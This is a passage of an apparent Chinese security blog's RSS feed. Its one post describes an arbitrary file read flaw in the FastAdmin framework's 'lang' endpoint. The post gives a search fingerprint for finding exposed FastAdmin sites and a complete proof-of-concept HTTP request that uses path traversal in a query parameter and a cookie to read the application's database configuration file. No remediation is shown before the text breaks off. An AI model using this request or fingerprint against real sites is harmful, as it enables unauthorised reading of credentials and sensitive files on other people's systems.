<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>日常随记</title><link>https://www.7x0.cn/</link><description>Good Luck To You!</description><item><title>Fastadmin框架任意文件读取漏洞 附POC</title><link>https://www.7x0.cn/post/27.html</link><description>&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;关。该文章仅供学习用途使用。&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62); padding-right: 10px; padding-left: 10px; line-height: 1.6; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; color: rgb(62, 62, 62); font-size: 16px; background-color: rgb(255, 255, 255); padding-right: 20px; padding-left: 20px; line-height: 0.8; text-align: center; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Fastadmin框架任意文件读取漏洞&lt;/span&gt;&lt;/h1&gt;&lt;/section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;background-color: #FFFFFF;line-height: 0.8;text-align: center;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;影响版本&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000545&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212222956177090659644823.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;1080&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;03&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞简介&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;FastAdmin&lt;/span&gt;&lt;span style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;后台框架&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;开源且可以免费商用，一键生成&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&amp;nbsp;CRUD&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;,FastAdmin&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;是一款基于&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;ThinkPHP&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;和&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&amp;nbsp;Bootstrap&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;的极速后台开发框架，基于&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;Auth&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;验证的权限管理系&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;统,一键生成&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&amp;nbsp;CRU&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;D&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;,自动生成控制器、模型、视图JS&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;、语言包、菜单、回收站等。&lt;/span&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;0&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;FastAdmin框架的&lt;/span&gt;&lt;/span&gt;&lt;code data-v-c3629e60=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;lang&lt;/span&gt;&lt;/code&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;接口存在任意文件读取漏洞，该漏洞允许未授权攻击者通过构造特定请求读取系统敏感文件，如数据库配置文件、系统配置文件等。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;1&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;text-align: left;font-size: 16px;background-color: #FFFFFF;color: #3E3E3E;line-height: 1.6;letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;04&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;资产测绘&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;pre class=&quot;code-snippet__js code-snippet code-snippet_nowrap&quot; data-lang=&quot;ini&quot; style=&quot;pointer-events: initial;&quot;&gt;body=&amp;quot;/assets/js/require.js&amp;quot;&lt;/pre&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212222956177090659628192.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000546&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;05&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;background-color: #FFFFFF;line-height: 0.8;text-align: center;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;apache&quot;&gt;GET&amp;nbsp;/index/ajax/lang?lang=../../application/database&amp;nbsp;HTTP/1.1Host:&amp;nbsp;127.0.0.1User-Agent:&amp;nbsp;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;Win64;&amp;nbsp;x64;&amp;nbsp;rv:146.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/146.0Accept:&amp;nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:&amp;nbsp;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:&amp;nbsp;gzip,&amp;nbsp;deflateConnection:&amp;nbsp;closeCookie:&amp;nbsp;think_var=..%2F..%2Fapplication%2Fdatabase;&amp;nbsp;PHPSESSID=m0lgoj6m4hovmtisu1868cc8h5Upgrade-Insecure-Requests:&amp;nbsp;1Priority:&amp;nbsp;u=0,&amp;nbsp;iPragma:&amp;nbsp;no-cacheCache-Control:&amp;nbsp;no-cache&lt;/pre&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212222957177090659760876.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000547&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: 